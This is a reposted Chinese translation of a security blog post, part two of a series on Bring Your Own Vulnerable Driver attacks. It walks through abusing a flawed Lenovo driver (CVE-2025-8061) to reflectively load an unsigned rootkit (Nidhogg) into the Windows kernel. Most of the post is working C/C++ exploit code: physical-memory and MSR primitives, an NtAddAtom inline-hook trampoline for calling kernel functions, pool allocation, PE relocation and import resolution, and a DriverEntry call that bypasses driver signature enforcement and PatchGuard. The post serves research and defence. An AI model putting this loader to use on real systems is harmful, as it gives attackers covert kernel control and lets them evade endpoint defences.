文章总结: 本文是BYOVD系列第二部分,详细阐述了如何利用Lenovo驱动漏洞实现反射式驱动加载。通过物理内存读写和MSR寄存器操控,作者演示了内核挂钩技术(如挂钩NtAddAtom函数)来调用内核API,最终在绕过驱动签名强制的情况下加载未签名rootkit。关键步骤包括获取内核函数地址、处理IRQL级别问题、分配非分页池内存,并强调需快速移除挂钩以避免触发PatchGuard。 综合评分: 82 文章分类: 红队,内网渗透,漏洞分析,恶意软件,安全工具
BYOVD 进阶实战 (第二部分) — 2025 年就写一个 rootkit
Luis Casvella Luis Casvella
securitainment
2026年4月22日 11:33 中国香港
在小说阅读器读本章
去阅读
| 原文链接 | 作者 | | — | — | | https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061_part2.html | Luis Casvella |
Bring Your Own Vulnerable Driver (BYOVD) 是攻击者广泛使用的一种后渗透技术。本文是系列文章的组成部分。第一部分介绍了如何利用存在漏洞的驱动程序获取 Ring-0 执行权限;第二部分 (也是最后一部分) 将从技术层面详细阐述如何执行反射式驱动加载 (reflective driver loading)。
引言
在系列第一部分中,我们介绍了如何通过逻辑漏洞利用一个驱动程序,并获得以下利用原语:
-
对 MSR 寄存器的任意读写
。
-
对物理内存地址的读写
(通过对
MmMapIoSpace()的不安全调用实现)。
在演示了本地提权 (LPE) 利用之后,接下来我们将探讨如何走得更远。让我们深入研究 Windows 内核,看攻击者如何滥用读写原语,手动映射自己的未签名驱动程序,从而完全绕过驱动签名强制 (DSE)。
👀 请务必先阅读第一部分
本文是第一部分的直接续篇,第一部分可在此处查阅。
反射式驱动加载技术现状
首先明确”反射式加载”的定义:反射式加载是指程序直接从内存加载可执行文件,而非通过操作系统的标准加载流程从磁盘文件载入。由于绕过了基于磁盘的加载方式和标准 OS 机制,反射式加载被恶意软件广泛用于隐藏执行过程。这一技术不仅可用于隐藏 .DLL或 .EXE的执行,同样可用于将驱动直接加载进内核内存。
在对反射式驱动加载的研究过程中,公开的技术文章极为稀少,这促使我将其工作原理整理成文。目前找到的大部分资料来自 UnknownCheats 论坛上的游戏作弊开发者。由于反作弊系统运行在内核特权级,作弊者通常借助驱动操纵游戏状态,因此作弊开发者与红队对抗 EDR 所用的技术能力存在高度重叠。该社区广泛使用的工具是 kdmapper,它实现了未签名驱动的反射加载;本文讨论的许多技术均受 kdmapper 设计思路的启发。
Kdmapper利用一个知名的脆弱驱动 iqvw64e.sys来获取针对虚拟和物理地址的任意读写原语。由于该驱动已被检测并列入 Microsoft 黑名单,已不适用于红队行动。然而,kdmapper引入的映射技术具有可迁移性:只需替换为其他尚未被检测的脆弱驱动,即可以类似原语实现相同效果。因此,我们将复用第一篇博客中介绍的 LnvMSRIO.sys漏洞,利用这些原语加载未签名驱动 (即一个 rootkit)。
获取不受限制的内核代码执行权限
调用 Windows NT 内核 API
借助 MSR 写原语,我们已演示了一种简单的权限提升方式——在 Ring 0 运行用户空间分配的 shellcode 以窃取 SYSTEM令牌。然而,该原语的能力远不止于此。载荷一旦在内核上下文中执行,便可直接调用 ntoskrnl.exe内部的函数,复用内核内部 API。为此,需要解析目标函数的内核地址。
一种常见且直接的方法是:在用户模式下映射同一份 ntoskrnl.exe镜像,使用 GetProcAddress()获取导出函数在该镜像内的偏移量,再将该偏移量加到内核运行时基地址,即可计算出函数在内核空间中的实际地址。这为从 Ring-0 载荷调用已导出内核例程提供了便捷途径。下面是一段 C/C++ 实现代码:
// Get exported function offset from a library
uint64_tGetFunctionOffsetFromModule(constchar* ModuleName, constchar* FunctionName) {
HMODULE hModule = LoadLibraryA(ModuleName);
if (!hModule) return0;
uint64_t qFunctionOffset = (DWORD64)GetProcAddress(hModule, FunctionName) - (uint64_t)hModule;
FreeLibrary(hModule);
return qFunctionOffset;
}
// Get address of a function exported by ntoskrnl.exe
uint64_tGetKRoutine(uint64_t qKernelBase, constchar* FunctionName){
uint64_t qFunctionOffset = GetFunctionOffsetFromModule("C:\\Windows\\System32\\ntoskrnl.exe", FunctionName);
uint64_t functionAddr =(uint64_t)(KernelBase + qFunctionOffset);
return functionAddr;
}
随后,可调用 GetKRoutine()函数获取 Windows 内核中任意已导出函数的地址。
uint64_t qDbgPrint = GetKRoutine(qKernelBaseAddress, "DbgPrint");
最终,利用 MSR 写原语,可直接调用函数指针 qDbgPrint()(在准备好存储所需参数的栈之后)。至此,我们可以利用这一能力来反射式加载未签名驱动到 Windows 内核。
Windows 内部机制
在加载我们自己的未签名驱动之前,需要了解内核内部的若干关键概念。
Windows 池分配
Windows 池是内核的通用内存分配器,用于分配可变大小的内存块,其设计与用户模式堆相似,但存在重要区别。池分配位于内核空间,对所有内核模式组件全局可见;正因如此,破坏池内存可能影响整个内核,导致驱动故障或系统崩溃 (BSOD)。必须严格管理池操作,验证大小、标签和生命周期,以避免系统不稳定。
为保障 Windows 池区域的完整性,每个分配块均以如下头部结构开始:
// https://www.vergiliusproject.com/kernels/x64/windows-11/24h2/_POOL_HEADER
//0x10 bytes (sizeof)
struct_POOL_HEADER
{
union
{
struct
{
USHORT PreviousSize:8; //0x0
USHORT PoolIndex:8; //0x0
USHORT BlockSize:8; //0x2
USHORT PoolType:8; //0x2
};
ULONG Ulong1; //0x0
};
ULONG PoolTag; //0x4
union
{
struct_EPROCESS* ProcessBilled; //0x8
struct
{
USHORT AllocatorBackTraceIndex; //0x8
USHORT PoolTagHash; //0xa
};
};
};
在该头部结构中,可以找到关于内存块的重要信息,包括其大小 (BlockSize)、类型 (PoolType) 和标签 (PoolTag)。
PoolTag是分配内存区域时指定的短标识符,通常是一个表示 4 个 ASCII 字符的 ULONG,可用于调试目的。
不同的池类型已由 Microsoft 完整记录。池类型多达数十种,但可以归纳为两大主要类别:
-
PagedPool:分配在可被缓存到磁盘的内存区域,类似于交换分区 (swap)。
-
NonPagedPool:始终驻留在 RAM 中。
中断请求级别 (IRQL)
中断请求级别 (IRQL) 定义了 CPU 的优先级。较高的 IRQL 会阻止低优先级中断的传递,并限制运行代码可安全访问的内核服务和内存类型。普通线程和大多数内核代码在 PASSIVE_LEVEL(IRQL 0) 下执行,这是最低的 IRQL 级别,允许访问可分页内存和大多数内核例程。然而,某些特殊上下文运行在更高的 IRQL,在访问可分页池区域时可能引发系统崩溃。在利用 MSR 写原语的漏洞执行期间,由于代码执行是通过劫持内核的 syscall 处理程序完成的,IRQL 会被设置为较高的值。
为什么这一点如此重要?
如前所述,在高 IRQL 下运行会阻止内核执行许多内部函数,尤其是任何涉及可分页内存的例程。在高 IRQL 下,内核无法访问可被换出的页面,调用此类例程或对可分页内存执行读写操作,通常会触发错误码为 IRQL_NOT_LESS_OR_EQUAL的 BSOD。要自由调用这些 API 并安全访问可分页池,代码必须在 PASSIVE_LEVEL下执行。这意味着,在实践中,载荷必须在低 IRQL 上下文中运行。
内核挂钩
目标是将执行重定向到一个运行在低 IRQL 的上下文。为此,可以在 ntoskrnl.exe内部的特定 syscall 实现上放置内联挂钩,然后从用户模式调用该 syscall。这样,代码执行原语便通过 syscall 自身的实现触发 (该实现运行在 PASSIVE_LEVEL),而非直接劫持 KiSystemCall64()。
选择的挂钩目标是 NtAddAtom(),原因是它极少被普通用户程序使用,因此是一个方便且低噪音的入口点。
主要障碍在于:ntoskrnl.exe在内核内存中以只读方式映射,无法通过普通写操作直接修改。为绕过这一限制,可利用上一篇博客中介绍的物理读写原语。通过 MmMapIoSpace()可将物理内存映射到一个虚拟地址空间,该函数返回可写区域 (即使源区域为只读!)。借助该可写映射,可在 NtAddAtom()stub 的起始位置安装内联跳转,将执行重定向到处理程序或跳板 (trampoline)。
🛡️ 内核补丁防护 (KPP) 即 PatchGuard
在内核中设置挂钩时,PatchGuard 可能会检测到并引发 BSOD。因此,这些挂钩需要尽快移除,以维护内核完整性。
为使用物理读写原语,需要知道 NtAddAtom()的物理地址。通过滥用 MSR 读写原语调用 MmGetPhysicalAddress()即可获取——该函数允许查询给定虚拟地址对应的物理地址。
图 1 – MmGetPhyisicalAddress()文档。
利用物理读写原语,可在 NtAddAtom()stub 起始位置插入跳转指令,从而将执行重定向到另一个内核函数。在实践中,这通过一段小型跳板代码实现:将控制流重定向到目标区域后,立即恢复原始字节,以避免触发 PatchGuard。物理映射允许我们就地修改内核页面,使挂钩在 syscall 被调用时即刻生效。
跳板 stub (将 XXXXXXXXXXXXXXXX 替换为 ntoskrnl.exe中任意函数的地址):
0: 48 b8 XX XX XX XX XX movabs rax, 0hXXXXXXXXXXXXXXXX
7: XX XX XX
a: ff e0 jmp rax
图 2 – 在 NtAddAtom()stub 中放置内联挂钩的示意图。
最后,只需从用户态调用 NtAddAtom()(该函数由 ntdll.dll导出)。在 syscall 的执行路径中,这将调用 ntoskrnl.exe中的 NtAddAtom(),触发挂钩,将执行流重定向到任意 Windows 内核函数,例如 ExAllocatePoolWithTag()。执行完毕后,必须立即移除挂钩,以免被 PatchGuard 捕获。
图 3 – 利用挂钩执行内核函数 (以 ExAllocatePoolWithTag()为例) 的示意图。
反射式驱动加载
本节将介绍如何对 Windows 驱动进行反射式加载。以 Nidhogg 作为测试驱动,它是一个具备多种攻击功能的 Windows rootkit。该驱动需使用 -Gs选项编译 (用于禁用安全功能检查),并添加 DRIVER_REFLECTIVELY_LOADED宏定义。
为未签名驱动分配内存
在内核空间分配池内存,需调用 ExAllocatePoolWithTag()。分配之前,须先读取驱动镜像以确定所需的确切大小,从而确保预留的内存块足够容纳载荷。
/* 1.2 - Prepare driver data */
const std::wstring driver_path = L"C:/path/to/Nidhogg.sys";
std::vector<uint8_t> raw_image = { 0 };
if (!ReadFileToMemory(driver_path, &raw_image)) {
printf("[-] Failed to read image to memory");
return;
}
const PIMAGE_NT_HEADERS64 nt_headers = PE::GetNtHeaders(raw_image.data());
image_size = nt_headers->OptionalHeader.SizeOfImage;
Then, we can use the hooking technique to make a call to ExAllocatePoolWithTag().
// Import struct from https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ne-wdm-_pool_type
typedefenum _POOL_TYPE {
NonPagedPool,
NonPagedPoolExecute = NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed = NonPagedPool + 2,
DontUseThisType,
NonPagedPoolCacheAligned = NonPagedPool + 4,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS = NonPagedPool + 6,
MaxPoolType,
NonPagedPoolBase = 0,
NonPagedPoolBaseMustSucceed = NonPagedPoolBase + 2,
NonPagedPoolBaseCacheAligned = NonPagedPoolBase + 4,
NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6,
NonPagedPoolSession = 32,
PagedPoolSession = NonPagedPoolSession + 1,
NonPagedPoolMustSucceedSession = PagedPoolSession + 1,
DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1,
NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1,
PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1,
NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1,
NonPagedPoolNx = 512,
NonPagedPoolNxCacheAligned = NonPagedPoolNx + 4,
NonPagedPoolSessionNx = NonPagedPoolNx + 32,
} POOL_TYPE;
// Excutes ExAllocatePoolWithTag() from user-land by abusing R/W primitive to hook NtAddAtom()
PVOID _ExAllocatePoolWithTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag){
// Retrieve NtAddAtom() address in userland
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == 0) {
returnnullptr;
}
constauto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
if (!NtAddAtom){
returnnullptr;
}
// Trampoline stub
char hook[12] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 }; // movabs rax, ADDRESS ; jmp [rax] ;
// Place address of ExAllocatePoolWithTag in the trampoline
memcpy(hook + 2, &pExAllocatePoolWithTag, 8);
// Store original bytes in NtAddAtom() prologue
unsignedchar* original_bytes = (unsignedchar*)ReadPhysicalMemory(hDevice, (ULONG64)pNtAddAtomPhysical, 12);
// Write hook trampoline
WriteToPhysicalMemory(hDevice, pNtAddAtomPhysical, hook, 12);
// Verifying the hook is correctly set
char* modified_bytes = ReadPhysicalMemory(hDevice, (ULONG64)pNtAddAtomPhysical, 12);
assert((unsignedchar)modified_bytes[0] == 0x48 && (unsignedchar)modified_bytes[1] == 0xb8 && (unsignedchar)modified_bytes[10] == 0xff && (unsignedchar)modified_bytes[11] == 0xe0);
// Prepare the stack with argument for ExAllocatePoolWithTag() and call NtAddAtom()
using FunctionFn = VOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG);
constauto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
PVOID out_result = Function(PoolType, NumberOfBytes, Tag);
// Restore NtAddAtom() stub
WriteToPhysicalMemory(hDevice, pNtAddAtomPhysical, (char*)original_bytes, 12);
return out_result;
}
随后,调用该函数即可挂钩 NtAddAtom(),完成对 ExAllocatePoolWithTag()的调用,再移除挂钩。所需大小为驱动镜像的大小,标签可随意指定,此处使用标签 VULN。
uint64_t ExAllocatePoolWithTag_Result = (uint64_t) _ExAllocatePoolWithTag(NonPagedPool, image_size, (ULONG)'NLUV');
printf("[+] Pool allocated at 0x%llX\n", ExAllocatePoolWithTag_Result);
🔄 字节序 (Endianness)
注意:由于字节序的影响,池标签在分配块头部中以倒序写入。因此 WinDbg 中显示的标签 “VULN” 是正确的。
结果:
图 4 – 分配结果。
为验证分配是否正确,可在 WinDbg 中使用命令 kd> !pool <address>查询指定地址的池信息。从下图可以看到,WinDbg 正确识别了一个大型非分页池,且标签与之前设置的一致。
图 5 – WinDbg 中正确显示的分配池。
解析导入表与重定位
前面分配的内存页将作为驱动写入和执行的位置。NonPagedPool池类型分配的页面默认具有 RWX(可读可写可执行) 属性,因此无需修改内存页权限。
但仍需完成驱动的重定位并解析导入表。如你所知,.sys文件本质上是可移植可执行文件 (PE)。.dll与 .sys在实践中的主要区别在于:驱动通常从内核镜像 (ntoskrnl.exe) 导入函数,而非用户模式库。下文展示的导入解析器实现做了简化处理——假设所有导入均来自内核镜像本身,经测试对所有未签名驱动均有效。
PE 解析和反射式加载在内核空间与用户空间的工作方式相同,区别仅在于目标基地址。为方便起见,镜像的构建与重定位均在用户态完成:使用 VirtualAlloc()分配临时缓冲区,以 ExAllocatePoolWithTag()返回的池基地址执行重定位,再将准备好的镜像复制到内核池。复制操作通过物理读写原语完成,内核池最终接收到完整重定位、可立即执行的镜像。
/* 9 - Map Driver */
/* 9.1 - Map driver in local memory */
uint64_t local_image_base;
uint64_t qEntryPointAddress = MapDriver(raw_image.data(), raw_image.size(), qKernelBaseAddress, ExAllocatePoolWithTag_Result, &local_image_base, false);
printf("[+] Local image base : 0x%llX\n", local_image_base);
printf("[+] Local image size : %lld bytes\n", image_size);
assert(qEntryPointAddress != 0);
assert(local_image_base != 0);
以下代码片段取自 kdmapper(略有修改):
- https://github.com/TheCruZ/kdmapper/blob/master/kdmapper/portable_executable.cpp
- https://github.com/TheCruZ/kdmapper/blob/master/kdmapper/kdmapper.cpp
反射式驱动映射主函数:
// This function allocate a user-land memory region and map the driver in it with a given base address named AllocatedPoolVA.
ULONG64 MapDriver(unsignedchar* DriverData, uint64_tSize, uint64_t KernelBase, uint64_t AllocationPoolVA, uint64_t* local_image, bool destroyHeader) {
const PIMAGE_NT_HEADERS64 nt_headers = PE::GetNtHeaders(DriverData);
auto kernel_image_base = AllocationPoolVA;
if (!nt_headers) {
printf("[-] Invalid format of PE image\n");
returnfalse;
}
if (nt_headers->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
printf("[-] PE is not 64 bits\n");
returnfalse;
}
// Get size of the driver image
ULONG32 image_size = nt_headers->OptionalHeader.SizeOfImage;
// Allocate user-land memory region as temp buffer.
void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
printf("[+] Preparing driver in local memory at 0x%llX\n", local_image_base);
if (!local_image_base)
returnfalse;
DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
// Copy image headers
memcpy(local_image_base, DriverData, nt_headers->OptionalHeader.SizeOfHeaders);
// Copy image sections
const PIMAGE_SECTION_HEADER current_image_section = IMAGE_FIRST_SECTION(nt_headers);
for (auto i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) {
if ((current_image_section[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0)
continue;
auto local_section = reinterpret_cast<void*>(reinterpret_cast<ULONG64>(local_image_base) + current_image_section[i].VirtualAddress);
memcpy(local_section, reinterpret_cast<void*>(reinterpret_cast<ULONG64>(DriverData) + current_image_section[i].PointerToRawData), current_image_section[i].SizeOfRawData);
}
ULONG64 realBase = kernel_image_base;
if (destroyHeader) {
kernel_image_base -= TotalVirtualHeaderSize;
}
// Resolve relocs and imports
RelocateImageByDelta(PE::GetRelocs(local_image_base), kernel_image_base - nt_headers->OptionalHeader.ImageBase);
if (!ResolveImports(PE::GetImports(local_image_base), KernelBase)) {
return0x00;
}
// Write driver to allocated pool
*local_image = (uint64_t) local_image_base;
const ULONG64 address_of_entry_point = kernel_image_base + nt_headers->OptionalHeader.AddressOfEntryPoint;
return address_of_entry_point;
}
解析导入表:
PE::vec_imports PE::GetImports(void* image_base) {
const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base);
if (!nt_headers)
return {};
// Get imports table section from the NT headers
DWORD import_va = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// If the driver does not import any functions, early returns.
if (!import_va)
return {};
vec_imports imports;
auto current_import_descriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(reinterpret_cast<ULONG64>(image_base) + import_va);
// Loop on all imports
while (current_import_descriptor->FirstThunk) {
ImportInfo import_info;
// Retrieve the module information
import_info.ModuleName = std::string(reinterpret_cast<char*>(reinterpret_cast<ULONG64>(image_base) + current_import_descriptor->Name));
auto current_first_thunk = reinterpret_cast<PIMAGE_THUNK_DATA64>(reinterpret_cast<ULONG64>(image_base) + current_import_descriptor->FirstThunk);
auto current_originalFirstThunk = reinterpret_cast<PIMAGE_THUNK_DATA64>(reinterpret_cast<ULONG64>(image_base) + current_import_descriptor->OriginalFirstThunk);
// Loop on all imported function of this module
while (current_originalFirstThunk->u1.Function) {
ImportFunctionInfo import_function_data;
// Retrieve functions informations
auto thunk_data = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(reinterpret_cast<ULONG64>(image_base) + current_originalFirstThunk->u1.AddressOfData);
import_function_data.Name = thunk_data->Name;
import_function_data.Address = ¤t_first_thunk->u1.Function;
import_info.FunctionData.push_back(import_function_data);
++current_originalFirstThunk;
++current_first_thunk;
}
// Add the information on a list
imports.push_back(import_info);
++current_import_descriptor;
}
// Return the list
return imports;
}
boolResolveImports(PE::vec_imports imports, uint64_t kernel_image_base) {
for (auto& current_import : imports) {
printf("[+] Module: %s\n", current_import.ModuleName.c_str());
// For all imports
for (auto& current_function_data : current_import.FunctionData) {
// Retrieve the real address of the function. (Assuming it is in ntoskrnl.exe for simplicity)
ULONG64 function_address = GetKRoutine(kernel_image_base, current_function_data.Name.c_str());
if (function_address == 0) {
printf("Could not locate %s\n", current_function_data.Name.c_str());
returnfalse;
}
printf("\t[+] %s at 0x%llX\n", current_function_data.Name.c_str(), function_address);
*current_function_data.Address = function_address;
}
}
returntrue;
}
重定位:
PE::vec_relocs PE::GetRelocs(void* image_base) {
const PIMAGE_NT_HEADERS64 nt_headers =GetNtHeaders(image_base);
if (!nt_headers)
return {};
// Get relocation table section from the NT headers
vec_relocs relocs;
DWORD reloc_va = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
// If no relocation needed, early returns
if (!reloc_va)
return {};
auto current_base_relocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(image_base) + reloc_va);
const auto reloc_end = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(current_base_relocation) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
// For each reallocation blocks
while (current_base_relocation < reloc_end && current_base_relocation->SizeOfBlock) {
RelocInfo reloc_info;
// Add the relocation information in the list
reloc_info.Address = reinterpret_cast<ULONG64>(image_base) + current_base_relocation->VirtualAddress;
reloc_info.Item = reinterpret_cast<USHORT*>(reinterpret_cast<ULONG64>(current_base_relocation) +sizeof(IMAGE_BASE_RELOCATION));
reloc_info.Count = (current_base_relocation->SizeOfBlock -sizeof(IMAGE_BASE_RELOCATION)) /sizeof(USHORT);
relocs.push_back(reloc_info);
current_base_relocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(current_base_relocation) + current_base_relocation->SizeOfBlock);
}
// Return relocation list
return relocs;
}
void RelocateImageByDelta(PE::vec_relocs relocs, const ULONG64 delta) {
// For each relocation needed
for (const auto& current_reloc : relocs) {
for (auto i = 0u; i < current_reloc.Count; ++i) {
const uint16_t type = current_reloc.Item[i] >>12;
const uint16_t offset = current_reloc.Item[i] &0xFFF;
// Add the delta to applys
if (type == IMAGE_REL_BASED_DIR64)
*reinterpret_cast<ULONG64*>(current_reloc.Address + offset) += delta;
}
}
}
将驱动写入内核内存
驱动已完成重定位且导入函数已解析完毕,现在可以使用相同的挂钩技术,将用户态内存区域复制到已分配的内核池中。为此,可调用 ntoskrnl.exe中的 RtlCopyMemory()函数。
void_RtlCopyMemory(void* Destination, constvoid* Source, size_t Length) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == 0) {
return;
}
constauto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
if (!NtAddAtom)
{
return;
}
// Trampoline stub
char hook[12] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 }; // movabs rax, ADDRESS ; jmp [rax] ;
// Place address of RtlCopyMemory in the trampoline
memcpy(hook + 2, &pRtlCopyMemory, 8);
unsignedchar* original_bytes = (unsignedchar*)ReadPhysicalMemory(hDevice, (ULONG64)pNtAddAtomPhysical, 12); // Store original bytes in NtAddAtom() prologue
WriteToPhysicalMemory(hDevice, pNtAddAtomPhysical, hook, 12); // Write hook trampoline
char* modified_bytes = ReadPhysicalMemory(hDevice, (ULONG64)pNtAddAtomPhysical, 12); // Verifying the hook is correctly set
assert((unsignedchar)modified_bytes[0] == 0x48 && (unsignedchar)modified_bytes[1] == 0xb8 && (unsignedchar)modified_bytes[10] == 0xff && (unsignedchar)modified_bytes[11] == 0xe0);
using FunctionFn = void(__stdcall*)(void*, constvoid*, size_t);
constauto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
Function(Destination, Source, Length);
WriteToPhysicalMemory(hDevice, pNtAddAtomPhysical, (char*)original_bytes, 12); // Restore original function
return;
}
在 WinDbg 中,通过检查池的内容可以看到,分配的内存池现已写入我们的 rootkit。
图 6 – Rootkit 已写入分配的内存池。
调用入口点
现在,可以再次利用挂钩技术调用入口点。入口点在映射驱动时从 NT 头部读取,对应函数为 DriverEntry()。
NTSTATUS _CallDriverEntry(uint64_t Entrypoint) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == 0) {
return -1;
}
constauto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
if (!NtAddAtom)
{
return -1;
}
// Trampoline stub
char hook[12] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 }; // movabs rax, ADDRESS ; jmp [rax] ;
// Place address of the DriverEntry in the trampoline
memcpy(hook + 2, &Entrypoint, 8);
unsignedchar* original_bytes = (unsignedchar*)ReadPhysicalMemory(hDevice, (ULONG64)pNtAddAtomPhysical, 12); // Store original bytes in NtAddAtom() prologue
WriteToPhysicalMemory(hDevice, pNtAddAtomPhysical, hook, 12); // Write hook trampoline
char* modified_bytes = ReadPhysicalMemory(hDevice, (ULONG64)pNtAddAtomPhysical, 12); // Verifying the hook is correctly set
assert((unsignedchar)modified_bytes[0] == 0x48 && (unsignedchar)modified_bytes[1] == 0xb8 && (unsignedchar)modified_bytes[10] == 0xff && (unsignedchar)modified_bytes[11] == 0xe0);
using FunctionFn = NTSTATUS(__stdcall*)(void);
constauto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
NTSTATUS status = Function();
WriteToPhysicalMemory(hDevice, pNtAddAtomPhysical, (char*)original_bytes, 12); // Restore original function
return status;
}
概念验证 (PoC)
图 7 – 概念验证 – 漏洞利用结果 (第 1 部分)。
图 8 – 概念验证 – 漏洞利用结果 (第 2 部分)。
通过 WinObj64可以看到,设备列表中出现了新设备 Nidhogg。
图 9 – 已注册的设备列表。
调用 NidhoggClient正常运行。以下为列举内核回调的示例。
图 10 – Nidhogg rootkit 在反射式加载后可正常调用。
参考资料
- https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061.html
- https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/managing-hardware-priorities
- https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ne-wdm-_pool_type
- https://www.unknowncheats.me/forum/anti-cheat-bypass/343907-tutorial-kdmapper-manual-map-driver-using-vulnerable-driver-intel.html
- https://github.com/TheCruZ/kdmapper
- https://github.com/Idov31/Nidhogg
如果您希望进一步了解我们的安全审计服务,请联系我们。
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Luis Casvella Luis Casvella《BYOVD 进阶实战 (第二部分) — 2025 年就写一个 rootkit》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论